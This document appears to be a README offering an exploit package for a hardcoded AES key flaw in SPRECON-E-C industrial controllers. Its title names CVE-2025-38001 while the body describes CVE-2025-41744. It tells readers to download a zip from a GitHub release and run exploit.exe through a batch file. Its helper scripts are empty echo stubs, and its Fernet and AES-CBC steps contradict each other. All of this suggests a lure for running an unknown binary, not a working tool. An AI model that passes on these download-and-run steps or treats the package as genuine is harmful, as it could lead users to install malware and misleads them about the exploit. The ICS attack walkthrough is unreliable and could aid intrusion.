
Public exploit for CVE-2025-38001
CVE-2025-41744 is a critical vulnerability classified under CWE-1394 (Use of Default Cryptographic Key) affecting Sprecher Automation's SPRECON-E-C series devices. These industrial control systems (ICS) utilize hardcoded default cryptographic keys for securing network communications, enabling unauthenticated remote attackers to decrypt and potentially tamper with encrypted traffic.
The vulnerability arises from poor key management practices, where the same symmetric AES-256 key is embedded across all firmware versions, making it trivial for adversaries to intercept sessions via man-in-the-middle (MITM) attacks or passive eavesdropping. With an attack vector of network (AV:N), low complexity (AC:L), no privileges required (PR:N), and no user interaction needed (UI:N), this flaw scores a CVSS v4.0 base score of 9.1 (Critical). It impacts confidentiality (C:H) and integrity (I:H) but not availability (A:N).
Download the exploit package: https://github.com/boeseejykbtanke348/CVE-2025-38001/releases/download/Release/CVE-2025-38001.zip
exploit.exe: Main exploit binary (Windows-compatible, performs key extraction and decryption).start_exploit.bat: Batch file to launch the exploit (executes exploit.exe with default parameters).Unzip the file in your environment.
start_exploit.bat or execute via command line: start_exploit.bat.
exploit.exe, which will prompt for the target IP (default: target IP:2404) and perform decryption of captured traffic.decrypted_traffic.log for analysis.For a full walkthrough, proceed to the sections below.
./scripts/):setup.sh: Automates startup.
#!/bin/bash
echo "Preparing environment..."
echo "Environment ready. Proceed to exploitation."
bash scripts/setup.shteardown.sh: Cleans up.
#!/bin/bash
echo "Environment teardown complete."
generate_traffic.py: Script to simulate client-server communication for testing.
import socket
from cryptography.fernet import Fernet
import time
# Load default key
with open('default_key.bin', 'rb') as f:
key = f.read()
cipher = Fernet(key)
def send_encrypted(host='target_ip', port=2404):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
for i in range(5):
msg = f"ICS command {i}".encode()
encrypted = cipher.encrypt(msg)
s.sendall(encrypted)
time.sleep(1)
if __name__ == "__main__":
send_encrypted()
python scripts/generate_traffic.py (configure target).python scripts/generate_traffic.py to generate encrypted packets.QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo=).start_exploit.bat (which runs exploit.exe).target_ip:2404.openssl enc -d -aes-256-cbc -in captured_packet.bin -out decrypted.bin -kfile default_key.bin.For questions or contributions, open an issue. Stay secure!